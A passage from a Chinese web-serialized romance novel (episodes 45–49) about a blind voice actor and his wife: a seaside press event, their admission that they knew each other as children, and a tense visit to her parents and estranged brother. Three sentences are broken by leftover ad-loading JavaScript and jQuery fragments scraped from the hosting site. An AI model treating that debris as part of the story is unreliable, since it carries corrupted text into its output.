池晚桑接着说:“有回有几个男孩堵住她回去的路,美其名曰送她回家,把脚下的皮球踢过去,我看见她从包里拿出剪刀就要戳……” 这个故事,秦叠似曾相识。 她当时死活戳不破,池晚桑正巧路过,虽然年纪小,但也感受到几分尴尬。池晚桑二话不说,拿着剪刀使劲一插,足球直接泄气。 池晚桑笑了笑,“我也不知道一个初中女孩的书包里为什么会有剪刀,像是随时在防备着什么,但她总是一脸淡然,像个游历江湖的侠客,帅气极了。” 秦叠从没想过自己在池晚桑眼里会是这种形象。 “后来她对我表白了,我却没有回应,也许是因为太害怕,也许是少年的自尊心作祟,我也不太清楚当时怎么想的。” 他还是想告诉秦叠,他从来没有觉得她是麻烦,哪怕提一点。 秦叠涩涩地问:“那你喜欢她吗?” “如果,我是说如果啊……”她深吸一口气,“如果她再和你表白呢?如果她不嫌弃你的眼睛呢?如果她还……喜欢你呢?” 爸妈对她仁至义尽她无所谓,这些年早就做好了心理准备。但是她,不想再失去池晚桑了。 不是以前那个张扬的少年,是现在沉默的他。 最后四个字说出来的时候,两个人都愣住了。 池晚桑轻笑了笑,温声道:“没有如果。” “可是我,”秦叠情绪有些崩盘,夜来非是这位的常驻节目,不应该挑晚上情感充沛的时候聊这些话题的,秦叠眼角滑落两颗热泪的时候,有些后悔。 “可是我不想离婚。” 她说出来的时候,带着鼻音,最后索性不装了,这些天尽力挤压的感情在一瞬间爆发,离婚二字瞬间散架,说得破碎又难受。 像老旧木门被缓缓打开,尖锐轻细的一声。 “能不能再等等……” 等两天,不要把所有难受的消息一起打包递给她。 她只觉得自己脑子一片冰冷,身体也跟着麻木,像是沉入海底,呼吸也变得困难起来,海水漫过口鼻,四肢沉重得抬不起来。 所有人只是强加着把决定交给她,让她无力反抗,只能这样背负着慢慢沉下去。 眼泪都被静音了。 秦叠很少哭,甚至以为自己泪点天然比常人高,现在才发现只是没有遇见能让自己毫无顾忌不顾形象哭喊出声的人而已。 好像在他背后,她可以惊慌、可以错乱,他看不见,就算发觉了也不会戳穿。 哭得这样声嘶力竭,池晚桑却手足无措了,像个犯了错的孩子,在触碰到秦叠脸上点点潮湿后,狠下心将她揽入怀里。 虽然隔着两床被子,但是她很瘦,可以轻而易举地扣在怀里。 他生疏地在她背上轻抚,嘴里干瘪地重复着:“别哭了,别哭了。” 46. episode46 池晚桑受邀参加新剧发布会,举行城市滨海,允许带一名工作人员,秦叠顺理成章跟了过去。 “唉,我什么时候也能去这种众星云集的发布会大饱眼福一下,秦叠你真是好福气啊。”沈桉羽有些羡慕。 池晚桑则皱了皱鼻子,问:“喝了?大白天的。” “啧,”沈桉羽这不刚从一应酬出来,道,“狗鼻子,趁你们走了,我们就在工作室开酒会。” 池晚桑笑了笑,丢下一句:“随便。” 因为要离开三四天,走之前他们给黎叔打了招呼,如果有需要尽管找苏木就可以。黎叔笑嘻嘻让他们快去,恨不得现在两人就落地酒店,因为秦叠不经意问他的一句话,让这位原本对这段婚姻心如死灰的老人家又死灰复燃了。 秦叠以为池晚桑始终有个忘不掉的人,这才让他对这段婚姻耿耿于怀,甚至心怀歉疚。于是她趁着池晚桑不在,多嘴问了黎宜一句池晚桑喜欢哪种姑娘。 黎叔一听这话,明显细究起来含义不只五六种,如果让高三学生做一回阅读理解,八百字论文都能剖析出秦叠的言外之意还不带重复的。 黎叔郑重其事地回忆了下,也不知道在回忆什么,说:“我觉得吧,首先得短发,他的世界停留在学生时代,要非有什么人,大概率都是乖孩子。根据他这几年的作品来看……” 黎宜想了下自己最喜欢的几个女性角色,“首先得直爽,性子洒脱一点好说话,红纱的裙子好看,珊瑚耳坠,窈窕身材…….” 这,与她好像完全不符啊。 “我们的位置在哪儿?” 有些羞臊的回忆被池晚桑的声音打断,他们置身偌大会场,往来宾客衣着华丽高贵,美女,香肩,窈窕身材……秦叠摇了摇头,啊了一声,东张西望去找座位。 这样的剧目,前面的位置一般都是留给演员和导演以及制片方等金主爸爸,依据角色重要程度和话题舆论热度往后依次递减。 秦叠撇着嘴不死心在前排溜达了一圈,最后轻而易举在后排找到他们的位置。 啧,势利眼。 “在后面。”秦叠挽着池晚桑带他往后走,秦叠今天特地买了一件藻绿色裙子,无肩款式,在腰上微收,将身材线条完美修饰,长度仅达大腿处,但外面有薄薄一层绿纱点缀着亮片及地,优雅不失端庄。 池晚桑则穿了件黑色晚礼服,挺直的身材很优秀地撑起衣裳,两人从容地朝后走,也吸引了不少眼光。 池晚桑听出她声音里不太满意,低头在她耳边低声说:“我努力,下回争取往前坐。” 发布会没什么新奇的,演员们为了不经意的某些镜头,脸都快笑僵了,秦叠这时庆幸自己坐在后排,她揉了揉自己跟着演员们紧绷的脸。 她扭头看了眼池晚桑,坐得依旧很直,表情冷硬,看不出来到底是不是在发呆,演的一手好戏。 旁边偶有人路过想要池晚桑联系方式,却都止步于前,秦叠垂眸看了眼他包里的东西,不怀好意地笑了。 刚才在洗手间,有个女生过来来问他池晚桑的情况,秦叠以为是导演,添油加醋地以一个合格经纪人的身份严格要求自己,什么八块腹肌,神仙嗓子,性格温柔,待人亲和,全部叠加在池晚桑身上。 人家后来果然心动了,不过,是对这个人。 秦叠心道不好,连忙补上了致命一击,“不过,他看不见。” “啊?”那人似有些可惜,对着镜子涂上一抹猩红,叭咂嘴了两下,“没关系,长得不错就行。” 靠,秦叠感觉自己刚入行,这娱乐圈的水已经快淹到她下巴了,果然自己还是适合在儿童一米五泳池狗刨。 “那个,他,结婚了。” 女人挑了挑眉,骂了一声,“我这儿脱妆了,姐妹有眉笔吗?” 她从包里掏出一盒眉粉,细致地上妆,“结婚了啊,嗯,倒是有点麻烦……” 后来,秦叠为了提防池晚桑这颗水润可口,一看着就是刚从地里挖出来的白菜被这群豺狼吃干抹净,她悄悄在池晚桑西服的兜里塞了一根口红。 虽然这样有些败坏他的名声,不过,那些女人纠缠起来,她也扛不住啊。 “想溜吗?”池晚桑面上听得认真,却忽然来这么一嘴。 秦叠听后如蒙大赦,恨不得两眼放光,也小声道:“溜溜球。” 坐后排还有有点好处,就是能在免于前面冠冕堂皇的尴尬社交污染耳朵后,还能全身而退。 会场就在海边,他们出来走了几步路便到沙滩上,夜里海边没有灯,墨蓝色的海像个深渊,随时能吞没这里的一切。 不远处有对父母牵着自己小孩,慢悠悠晃荡在沙滩边,妈妈的声音温柔,问他:“你觉得海是什么颜色的?” 小男孩看着已经有十岁左右的样子,犹豫了下说:“白色?” 妈妈摇了摇头,“白色就是脑子里一片空荡,大海是蓝色的,像是海苔的味道。” 男孩皱了皱眉毛,“月亮是一片空荡,把它的光给了大海,大海也会是一片空荡。脚下的沙子是铅笔盒的绿色,因为会跟着我们踩下去而变换形状。天空如果是粉色的,会不会和草莓味蛋糕一样甜?” 迁就小朋友的步伐,他们走得很慢,秦叠他们很快就赶上了三人,秦叠剥开一颗棒棒糖,正准备问池晚桑要不要,就听见身后的男孩说:“好香。” 这么可爱,不给一根? 这是她从发布会拿出来的,只有一根,虽然小孩子太不客气,她还是笑着转身蹲下,“小朋友,吃糖吗?大海的味道。” “你身上好香,是橘子皮的味道。黄色的。” 秦叠楞了瞬,光线不太亮,她却感觉这个孩子有些怪异,说话时并不看她,眼睛也像是忘了眨。 他妈妈这才将秦叠扶起来,对男孩说:“给姐姐说谢谢。” 又对秦叠说:“不好意思啊,他,先天失明,对颜色有些执念。” 秦叠听见这话的时候转头看了眼池晚桑,他也愣住了。 这时,小男孩忽然哇地一下哭了,将手里的糖丢在地上,说这不是大海的味道,大海是脆海苔,不是海盐芝士味的糖。 小孩子撒泼力气不大,他爸爸很快将他安抚住,喉咙里还不住哽咽。秦叠像是什么巫婆,初遇就破坏了小朋友心中的童话梦,一时有些羞赧。 “不好意思啊,我说错话了。” 他妈妈只是摇了摇头,“没事,因为看不见,他对这些味道都有些偏激。” 池晚桑这时走过来,夫妻俩才看清他手里的盲杖,面面相觑了下,秦叠对他们摇摇头。'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 池晚桑蹲下,对小男孩说:“小朋友,看不见也有很多认识这个世界的方式,颜色也不能完全概括我们。大海的味道是咸味的海风,越远离这里,味道越淡。” “你听见哗啦啦的声音了吗?那也是大海,上面有海鸥在叫,里面有很多鱼在游。” “礁石是巧克力味的,贝壳的声音里有古老的传说,偶尔还能闻到饭菜的香味,是打渔归来的人,站在摇摇晃晃的船上……” “里面有海绵宝宝吗?” 池晚桑被男孩的脑洞问得一愣一楞的。 这可涉及到秦叠专业了,她提着裙子蹲在池晚桑旁边,这才看清了爸爸怀里的小男孩。 他睫毛很长,爸爸妈妈养的很好,圆圆的脸,皮肤白嫩,只是眼睛里少了些童真的光,显得浑浊,死寂。 秦叠用手肘碰了碰池晚桑,说:“嗨,派大星你为什么叫派大星?” 池晚桑垂眸笑了笑,立刻换了个声线附和道:“因为我是上帝派来保护你的大猩猩。” 秦叠说:“那我死了,你会难过吗?” 池晚桑说:“不会,因为我相信你还活着。” “海绵宝宝,你猜我手里有几颗糖,猜对了两颗都给你。” 秦叠难得听到这么傻的池晚桑,嘴角不自觉也跟着上扬,“我猜五颗。” 派大星叹了口气:“那好吧,我还欠你三颗,下回给你。我们一起去抓水母吧!” 海绵宝宝郑重道:“不行,今天我要上班。” 派大星有些难过地问:“那我干什么?” 海绵宝宝说:“我不在家,你一般干什么?” “我一般等你回来。” “那你就陪着小蜗等我回来抓水母吧!” “好诶!” 男孩破涕而笑,没有焦距的眼睛弯弯的,嘴角有两个酒窝,一笑就会露出小虎牙。 “派大星好傻!” 这段对话几乎是没过脑子就说出来了,因为他们在以前演习过无数遍,但从来没想到竟然是为了今天这场戏排练。 一切仿佛都有了意义。 秦叠有些惊讶他还记得,也惊讶自己没有忘记。 男孩很喜欢秦叠饰演的海绵宝宝,说像妈妈,随时会照顾着傻了吧唧的派大星。秦叠则留了男孩母亲的联系方式,如果有需要帮忙的,可以找他们。 两人继续沿着海岸走,软软绵绵的沙,轻轻柔柔的风,月亮真的将光亮分给了大海,从云层里出来后,海面白晃晃的,像面镜子。 前面有一个男生也在沙滩上百无聊赖地走着,个子高,气质不俗,倒是和池晚桑有些相像,不过这种发布会,帅哥多并不奇怪。 “还这么小,真可怜。”她叹了口气。 但她的心思同时被另一个急需要问清楚的事情给占据,海浪一遍遍拍打礁石,有节奏地催促她快些找到答案。 原本恐飞的她,不知道自己为什么会同意和池晚桑一起过来,也许是怕他再次离开,也许是自己已经离不开他了。 而刚才的默契已经说明了一个问题。 两人都没说话,秦叠踢了一脚沙子,沙土不轻不重落在前面。她重重站定,闭上眼睛深呼吸,像是下定了决心,问: “池晚桑,你是不是早就认出我了?” 47. episode47 从池晚桑开始反复问起她的过往,特别是两人分别后那段时光,她就有些狐疑。他开玩笑说还不知道她的长相,想要记下来,然后被她怀疑是不是怕自己是骗婚的,害怕她一走了之,改名换姓,再难找到。 池晚桑当时只是说可以整容啊。 但他确实害怕再难找到她。 “昂。”池晚桑回答得干脆,“也没有很早,如果说之前一直有些怀疑的话,你哥哥第一次打电话过来那天,我才能肯定。” “那你为什么不说?”秦叠有些气恼。 池晚桑挑了挑眉,继续往前走,“你不也没说嘛?骗得我好苦啊秦柔桑。重新认识一下吧,我叫池晚桑,清远人,毕业于清远市第二小学,清远一中,清远市高中,现在是聆镜光合工作室合伙人。” 他向秦叠的方向伸出手,郑重又有些好笑,“这么些年,好久不见,秦柔桑。” 秦叠没和他握手,伸过去拍了拍他,说:“我已经改名了,不要叫这个名字了。” “诶我早想问你这个名字是占谁便宜吗?亲爹亲爹的,动机不纯哈。” 有的人就能在一瞬间把你带回小时候的状态,他们俩以前没少互怼过,甚至还并肩作战和秦东柏抗衡,完全没有个人立场。 秦叠啧了一声,说:“我入职的时候就说了取自群山叠叠,连绵不绝的意思,这个谐音嘛……” 她也是后来遇上一位口音相当浓重的同学才发现的。那同学声调又高,说起话来感情充沛,不是像在唱歌就像哭丧,“我的亲爹嘞,我亲爹嘞。”这样叫她。 当时愣是没反应过来,还以为他家里出了什么重大事故,还尽量避让人家。 秦叠说得理直气壮:“之前的名字我觉得太弱了,现在这个气势不就自然上来了?” “我看你气势白长了,”池晚桑从兜里掏出她的那支口红,对着秦叠狡猾地晃了晃,“不需要这个,你在我旁边就可以了。” 秦叠脸上这时又羞又怒,变化得好颜色,一把抢过那口红,坐在旁边的石凳上,“还得是你最奸诈。” 赤脚踩在沙滩上,傍晚的沙滩有些凉意,她犹豫了下说:“这些年,不好过吧。” 终于能问了。 池晚桑也坐在她旁边,说:“闭上眼睛。” 秦叠嗯了一声,看向他,被一只大手将眼皮覆上,“你可以感受下我的世界,除了看不见,还是不错的。难过的时候欢迎逃过来避难,听晚风,听落日,听朝霞……” 但是终究还是要回去。 秦叠笑了笑,望着头,双手撑在身后,睫毛轻眨弄得他有些痒,“朝霞和落日也可以听见吗?” “当然,只要用心去感受。” 秦叠说:“那看来,你这儿还不错。” “我眼睛一开始没有完全失明,就像是飞蚊症,总有几团黑云在面前晃荡。”他将刚才在发布会拿的宣传单卷成尖筒状递给秦叠。 “你现在再往里看,透过前面的小孔去看。”池晚桑也将手撑在身后,为能有这样的坦白而长呼一口气,笑了笑。 “正常人的眼睛,垂直能看一百五十度,水平能看二百三十度,后来我的光感就这剩尖筒里的这一个点了。” “就像是死刑缓期执行,一点一点蚕食掉视力,光线,还有记忆。我现在的世界,还是清远的一切,每天我不断地回忆,才不会害怕最后脑袋里只剩下一片漆黑。” 但没用,看的时候理所当然,没记在心里,光凭想象力,根本不能完全复原。 可怕的是每天都回忆得不一样,那时他才发现,自己已经快忘了。 像海底的鱼忘了天上的鸟,外出的人忘了家的方向,泥土里的干枯枝丫忘记春天的味道,盲人也会忘记光明的样子。 但他不想忘记秦叠,只能拿着残破的MP3,一边又一遍温习她的声音。却还是错过了。 她的再次出现像是海里漂泊的渔船再次遇见了指路的海风。 那回去吧? 他是海里飘零的孤岛,而她带来了岸边的柴火味。 秦叠举着尖筒四处看,不自觉还是将那个小圆点放大了好几倍,“那你很厉害,自己把自己救回来了。” 她何尝不是差点死掉的人,大一大二学业压力混杂生活压力,没钱,没希望,没快乐。不是靠自己不能止步于此的不甘心,她走不到现在。 某种方面,她很庆幸当时没和池晚桑一起分担,那时的狼狈她想埋在过去就好。现在相遇的他们,已经是自己救回来的自己了。 新的,更加坚毅,更加善良。 “嘶——”秦叠在尖筒圆点里看见两个人朝自己这边走来,再往上移,余庆的大脸满满当当塞满了视野。 “鬼啊!” 秦叠将纸筒丢开。 “嘿,师姐,你能不能友善点。”余庆啧了一声,眼睛抽筋了一样往旁边瞟,小声对她说,“没看见我这儿旁边有人嘛。” 说罢,他又大笑着给两人介绍,“这是我女朋友,叫……” 名字秦叠没记,只是对余庆更新的频率有些瞠目结舌,对女生礼貌性点点头。 说着余庆还要向那女生胡夸海夸一番池晚桑,秦叠连忙打断,“你们在这边玩儿?” “对啊,”余庆耸了耸肩,“你们不是?” “哎这位你知道是谁吗?配音大神,配得那叫一个出神入化,鬼斧神工,谁不想要一个同款……” 还是嘴慢了…… 眼看着就要轮到池晚桑上场表演自己鬼斧神工的嗓子,秦叠扶额叫停,“好了好了,卖货呢!麻烦这位师弟就不要消费我丈夫了好吧。” 还同款,平替她看都难。 “怎么能说得这么难听呢,我们这是欣赏。”余庆切了一声,揽过池晚桑把他往旁边带,“那我们兄弟说两句体己话,不算消费吧?” 池晚桑有些不习惯和男生这样勾肩搭背,而且余庆比他矮一截,还得弓腰驼背迁就他。听见后面秦叠喊了声放开池晚桑,都被压成折叠屏了,他这才放开。 “不好意思啊,姐夫。”余庆苍蝇搓手,“向你咨询点事儿。我附近没啥人有经验,熟悉的人里,只有你了。” 池晚桑展眉,有些无奈又好笑,“什么事,你说吧。” “关于那个……” 他半天那不出来,池晚桑耐心快耗尽,问:“哪个?” 余庆踮脚偷瞥了一眼后面秦叠和女孩正聊得来,用手捂着嘴,在池晚桑耳边轻声说:“那个,床……男的女的……。” “我今天可能第一次,取取经。”< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 海风带着咸味刮过额前碎发,池晚桑却明显感到耳边被余庆捂得发烫,半晌没说出来话。 余庆挤眉弄眼凑近了观察池晚桑的表情,有些欠揍地问:“姐夫你,不会,没经验吧?” 池晚桑干咳了两下,也不知道是不是被他的直接给吓到了。现在年轻人这么生猛了吗? “嗯……你……”没吃过猪肉还能没看过西游记?他也捂着嘴巴,秉持着正直和谐友爱文明有礼貌,谦逊理解有教养不野蛮的态度,凑到余庆耳边。 然后。 胡乱说了一通。 “明白!姐夫的提醒都很对,贴心好姐夫。”余庆这回放开声音说,憋着说了这么久的话,两人的脸都是通红的。 路过一个骑自行车的小朋友,差点以为红灯该停了。 “小点声。”池晚桑咳了两下,望向远处,然后别扭地问,“最重要的,安全措施,有吗?” 余庆楞了瞬,立马反应过来,伸手在裤兜里摸了摸,“有有有,刚我们一起去买的,呐。” 他就这么自然而友善地送了池晚桑两片。 池晚桑立马石化当场,月光洒在他身上,有些飘雪的哀伤。 他的意思是注意防护注意防护,不是给我两片给我两片! “你干嘛!”池晚桑嘴巴没动,咬牙切齿地故作镇定。声音里却逸出两丝破音,带着些毁天灭地的羞愤。 “啊?回报嘛。”余庆这榆木脑子,竟又伸手在裤兜里摸索。 但是池晚桑卡看不见他的动作,于是趁他不备,余庆又塞进来两片。嘴里还念念有词。 “百年好合,百年好合。” 池晚桑:“……你……” “还有两个,一起给你。这下真没了。”余庆手又不安分地来回塞在他兜里,拍了拍他的背,转身向自己女朋友招手。 池晚桑此时只感觉兜里有千斤重,恨不得整个人石化后裂成碎片,毁尸灭迹。 害怕包里东西太鼓囊,他下意识拍了拍,想遮住一些,也略显僵硬地朝秦叠的方向走去。 主办方知道他们是夫妻,这次只给了一间房来着…… 秦叠也知道这件事,如果在一切面纱还没揭开,窗户纸还没捅破前,两人装疯卖傻,好像也就过了。 但现在的情形,有些骑虎难下的架势。 因为发布会的原因,酒店的房间都被订完了,不可能有多余的空房间给他们。甚至连多余一床被子都没有…… 这是前台的原话,话糙,但没法。 秦叠素来演的大度,不拘小节的人设,大方地让池晚桑先去洗澡,还贴心拉上浴室与房间中间透明玻璃的窗帘。 啧啧啧,什么恶趣味,谁洗澡还直播给人看的。她心里对酒店这种做法早就鄙夷了,即使是情侣也好歹给人留出点空间吧,但她识趣地没说出来。 本来还算正常,但在她看见池晚桑兜里滑落出来的东西后,瞬间就不正常了。 不会吧,她扶着床头柜,倒吸一口凉气,再没吐出来。 于是熄灯后,出现了二分天下的局面。 两人裹着被子两端,中间空出偌大一个空间,像是为岫白扎了个帐篷似的,虽然岫白没来。 中间穿堂风过,峡谷效应,清爽怡人。 48. episode48 “明天我得回去看看爸妈。”秦叠打了个喷嚏,向后挪了挪。 池晚桑忽然睁开眼睛,“祭日吗?坟山不好走,要陪你一起吗?” 秦叠听见他这话的时候,说实话楞了三秒。所以说人不能做亏心事,她感觉背后凉飕飕的,忙说: “那个,我之前骗你的,我爸妈还活着,就在老家……外婆葬礼上,她还见过你。” 池晚桑有些无奈地笑出了声,“所以,你和我结婚到底是为了什么?” “不想回去随便被嫁给别人。”秦叠说。 池晚桑没说话,过了半晌。 “所以他们知道我?而我一次也没去看过他们?”池晚桑平躺着,眼里有些失神。 “嗯。”秦叠小声道,像是做了什么亏心事,“我说了你看不见,不太方便……” 她还添油加醋地将池晚桑描述得尽可能惨,让夫妻俩对她的婚姻失望,她就是想看到他们脸上因为自己多出其他的表情。 哪怕是失望。 “那明天一起去吧,给他们说一声,先不回工作室了。”池晚桑掖了掖被子,闭上眼睛,“晚安。” 这个晚,怕是不太轻易能安。 因为有点冷,秦叠努力朝池晚桑的方向移动,又要留出适当距离,在感受到对方的体温后,停下,总算不是太冷。 因为距离变近,池晚桑的胳膊不经意间会碰到她的薄绸睡衣,然后反射性撤回,又碰到,又撤回……来来回回了几次后,秦叠忍不住想吐槽,在他又不经意间碰到自己领口时。 一个转身压了过去,将将垫在脖子下面,之前这么睡过,她记得还挺舒服。 当然,因为距离过近的局促和紧张也随之消解,她很快就入睡了。 去清远有动车直达。 这次发布会的名气挺大,致使在路上竟然有人认出池晚桑来,他不得已留下了几张合照。动车在经停站休息时,秦叠下去了一趟。 再上来,手里多了一个黑色口罩, “戴上吧,现在已经是公众人物了。” 池晚桑颔首乖乖地带上口罩,然后秦叠又递来了一顶帽子…… 把他藏起来。 秦叠看着被她遮挡着完全看不出是人是鬼的池晚桑十分满意,坐在座位上,头靠着窗户玻璃,看着外面的景色越来越熟悉。 她已经很久没来这个地方了。 说来好笑,初高中是为学业拼死拼活的年纪,按道理她不会对整个清远的犄角旮旯都这么熟悉。 还得多亏了他们家老是搬家的缘故。 那时候搬家对她来说简直是家常便饭,早上出门和晚上回去不是一个地方,她眼睛都不带眨的。通勤路程从一小时到三小时不等,她都坐过,公交什么时候人少,她也清楚。 她早就平静地接受这种迁徙,像是草原上的牛羊,从夏牧场到冬牧场,赶她她就走。 她的东西于是越来越少,提着行李箱,随时就能离开也是这么多年的习惯。 “快到了。”她的头跟着动车摩擦轨道的震动一起跳动。“这些年搬来搬去,竟然搬到你家里了,太巧了。” 她想问的其实是最后一次搬家前,她在门口留了联系方式,为什么池晚桑没有联系她。 但在事故里滚了这么些年,最简单的问句,已经说不出口了。迂回的方式别人能否理解,也只能看造化。 “嗯,真巧。”池晚桑虽然闭着眼睛,还是立刻给了她回复。 圆滑了,这是他见着她第一次的评价,话里的弦外之音不难听出,但他不愿回答。 他又看似没头没尾地说了句:“搬来搬去,别把小时候的你给弄丢了。” “你……” 池晚桑啧了一声,将头偏开,“想问什么就直接问。” “你有看到我家门口的新地址吗?” “看到了。” “哦。”秦叠又卡住了,她不敢往下问。 池晚桑又说,“怎么不联系你?因为我那个时候刚瞎,情绪不稳定,后来也就算了。” 他叹了口气,说:“秦叠,还记得昨天我给你说刚失明的时候我还是能看见一点光吗?就像破损的相机镜头里彩色的小光斑,模糊了照片,太亮而闪得头晕。” 他笑了笑,呼出一口气,仰靠在座椅靠背上,换了个舒服的姿势,“因为外婆说我外面看不出来异常。那时候我很喜欢演,演我是一个正常人,非要看电视,看分不清头脸的光斑在面前跳动,非要去逛街,对着一根电线杆说请你让一让,我还喜欢去院子里浇花,凑近了看一朵,就像是相机里的微距模式……” “我后来才发现,根本没人在乎你装不装,就算我对着电线杆说一整天的废话,别人只会以为是哪个酒疯子脑袋有问题。所以,你明白吗?想说什么就说,想做什么就做,哪有那么多顾虑,别自己把自己困住了。” 秦叠笑了笑,“知道了,谢谢啊。” “待会儿,我说什么,做什么你不要太惊讶就行。” 秦叠扶着池晚桑缓缓走进家门时,恍如隔世,秦时躺在院子里的躺椅上夹了一根烟晒太阳,惠熙在房间里看还珠格格。 “爸、妈。”她喊了声。“我们回来了。” “来里面坐,外面晒。”惠熙在里头招呼,“这是小池?快坐坐坐。” 秦叠和池晚桑小时候经常在一起玩,可笑的是他们根本不认识他。 “阿姨好,叔叔啊,之前一直没过来看您,失礼了。”池晚桑风度倒是一直拿捏得很到位,像个谦谦君子。 秦叠扶着他往里间走,走得缓慢,更像是拉着他。时不时还像个老妈子一样,大惊小怪提醒他一句:“小心,前面有茶几,左边有沙发。” 惠熙和秦时看见他这幅弱柳扶风的样子,不觉皱着眉心。 后来秦叠做的事情更是让这眉心皱成千层蛋糕。她不仅对池晚桑事必亲躬,站起来走两步都怕他摔倒,还亲自给他削水果,就差没亲自带他去厕所了。 后来果然惠熙抽空,将秦叠拉在一边,有些忧愁地说:“他这是完全看不见啊?” 秦叠点了点头,小鸡啄米一样,“之前不是说过了嘛。” “也没钱?” 秦叠点头如捣蒜,小声凑在惠熙耳边,说:“工作室是他用积蓄创业的,兜里还欠着呢。” 惠熙满怀愁虑地看了眼池晚桑:“那除了长得可以,一点用没有啊……” 秦叠想了想,道:“我老公他就是身子弱了点。人不错的,心好,放心吧。” 这可怎么叫惠熙放心得下,也不知道秦东柏要多少钱,她又瞥了一眼端坐的池晚桑,叉起盘里一块苹果,吃的斯文。 她叹了口气,闭眼回过头来。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> “秦东柏什么时候来?”秦叠问。 “说是下午到,你们难得回来,可以去周围看看。” 于是秦叠又小心翼翼,搀扶着老佛爷一样把池晚桑引出大门的时候,池晚桑才好笑地长舒一口气,“这就是你说的不要太惊讶?” 他想了想刚才秦叠所作所为,甚至帮他喂水。说实话有些羞辱人了。 “你爸妈会不会以为我是智障?” 他说的认真,秦叠没忍住笑。 “不会的,这样他们才不会打你的主意,我这是保护你呢。”秦叠对周围的环境并没有太多眷恋,心不在焉和池晚桑走在黄泥路上。 正想问池晚桑有没有什么想去的地方,就听见前面响起毫不客气的一声:“池晚桑!” “好哇好哇,原来你们俩在一起了,青梅竹马的,幸福啊。” 秦叠一抬头便看见了池向榆,和他哥哥长得有两分相似,眉眼更凌厉些,但脸型却要肉一点,因为年纪比她还小,书卷气息没散,这样生气有些像个撒泼的学生。 除了上回在派出所远远看见一个背影,她几乎没见过池晚桑这个弟弟。因为知道一点他们家里的事,秦叠也没有多问。 只是忽然被人当街对着阴阳怪气一番,那气势活像是捉.奸.在.床,秦叠心里不是滋味。 “你怎么在这儿?”池晚桑冷冷地问。 池向榆也没什么好气,“我不在这儿,还发现不了你老婆是谁呢。你就这样结婚,一点不愿意透露给我们啊。” “我……”池晚桑难得有些结巴。 “你和你哥应该很久都没联系了吧。”秦叠忽然说,“他刚失明的时候,据我所知,你不在清远吧?退一万步讲,那你升学有和他说吗?他毕业的时候你去参加毕业典礼了吗?” “我,我当时跟着我妈嫁过去,我能做什么。”池向榆说,“他们又生了个小孩,我在那个家就像个外人,可他从来也没联系过我。” “向榆……” “活该,我说你瞎了活该!”许是被秦叠和池晚桑的事给惊到了,情绪到极点,他想也没想,破口而出。 “啪”的一声,秦叠两步上去,指印落在了池向榆脸上,语气森森道:“你小心点说话。” 池向榆瞪了她一眼,转身就要走,被秦叠拉住,“去哪儿?” “管我去哪儿。”他想挣脱,却没想到这姑娘手劲挺大,不情不愿说了句“回学校”。 “怎么还不放开我,你们要干什么?” 秦叠面无表情问:“有钱吗?买票了吗?怎么回去?” 她看了眼这个大学生,从头到脚都没背包,一脸疲惫不像是在这边玩儿,倒真像坐了长途车专门来堵他们的。 “动车!买了!有钱!你再不放手要错过了。”池向榆又羞又恼,狠狠挣扎了下,秦叠才妥协着放开这手。 无论是过去还是现在,她看这小子早不顺眼了。 拍了拍手,对池晚桑说:“就是欠收拾。”随即不可察觉地叹了口气,怎么每家的事都这么复杂,她好像才是看看不清那个了。 而池晚桑没想过她反应竟会这么大,木木地点了点头。 同样的街道上,他当年帮她戳破了顽童的皮球,她现在同样不问清是非坚决地站在了他这边。 他们回去的时候,秦东柏也到了。 49. episode49 秦东柏看见池晚桑的时候,明显楞了瞬神,他认得出来。 再看到秦叠挽在池晚桑臂弯的手时,一切都心知肚明了。 他朝秦叠走过来,本意只是想打个招呼,却脚下一歪,差点在门口给夫妻俩拜了个早年。 池晚桑手疾眼快抓住他胳膊,不怀好意的笑了笑,“不用这么客气。” “好久不见。”秦东柏站正,拍了拍他肩膀,眼睛往秦叠那边看了一眼,“现在是妹夫了是吧?” 这时秦时从屋子里出来,没想到秦叠和池晚桑回来这么快,看见院子里这么多人,顿了下,又将手里的木箱放在地上,对着秦东柏招手。 “东柏,你过来看看,这是什么。” 他脸上带着小心翼翼的笑,说实话,秦叠这些年几乎没在爸爸脸上看见过笑。如此小心,甚至有些谄媚的笑,忽然出现在那张布满褶皱的脸上,她觉得有点恶心。 像是龟裂干枯的大地,吸收了些水分,黄泥顺着沟壑缓缓流动,黏巴黏巴的恶心。 秦叠当然知道他手里抱着的箱子是什么,搬家这么多回,除了日用品和重要资料,这个箱子是铁打的存在。 里头存放了秦东柏小时候的所有痕迹,被细心整理,分门别类地保护好。 他们也许就等着这一天,找到多年不见的儿子,将东西“哐当”一声砸在他面前,哭诉自己这些年的心路历程,顺带说一下为了找他是有多么不容易啊,看爸爸妈妈把你的东西都保存得好好的,爸爸妈妈有多爱你。 最为基本和朴素的情感表达,却怎么也感化不了秦叠的心。 她的东西早就被第一回搬家的时候遗忘在老屋子,而当她下课回到所谓新家的时候,在客厅角落找到据说是自己的床,除此之外,只剩几件衣服。 那时候的他们甚至不清楚自己的年级,更别提是几班。每回的家长签名都是她自己伪造的,高考志愿是池晚桑参考的,没有人管她。 秦东柏闻声走过去,手插在裤兜里,嘴里嚼着口香糖,耷下眼皮扫了一眼,道:“不知道。” 惠熙正准备拿起他的作业本,听见这话僵在原地,讪讪地笑了笑,“这是你以前的东西啊,都不记得了吗?” 他仍旧是将口香糖随地一吐,“这些年经历了太多事,以前的东西记不清了。” “直说了吧,既然你们想做我爸妈,有钱吗?之前修车给人修坏了,得赔。” 惠熙啊了一声,她比他矮些个头,略微仰着脖子,“多少啊?” “五万。” 两口子都沉默了,秦时蹲在地上没起来,此时开了口,声音分不清是什么情绪:“帮你还钱,你就回来?” “不回来。”秦东柏还是一副吊儿郎当的样子,“就喊你们声爹妈,我现在在市里干的好好的,回来干什么?继续跟着你在厂子里搬砖?我又不傻。” “秦东柏,你识点趣。”秦叠忍不住说,手里不自觉捏紧,池晚桑伸出一只手拍了拍她。 秦东柏单脚立地,像个圆规歪歪扭扭地转身,斜着嘴朝秦叠笑了笑,“这不是我的好妹妹嘛,看来他们对你不错啊,怎么样,要帮他们找儿子吗?” “做梦。”秦叠回答得也很干脆,她从来不欠秦东柏的。 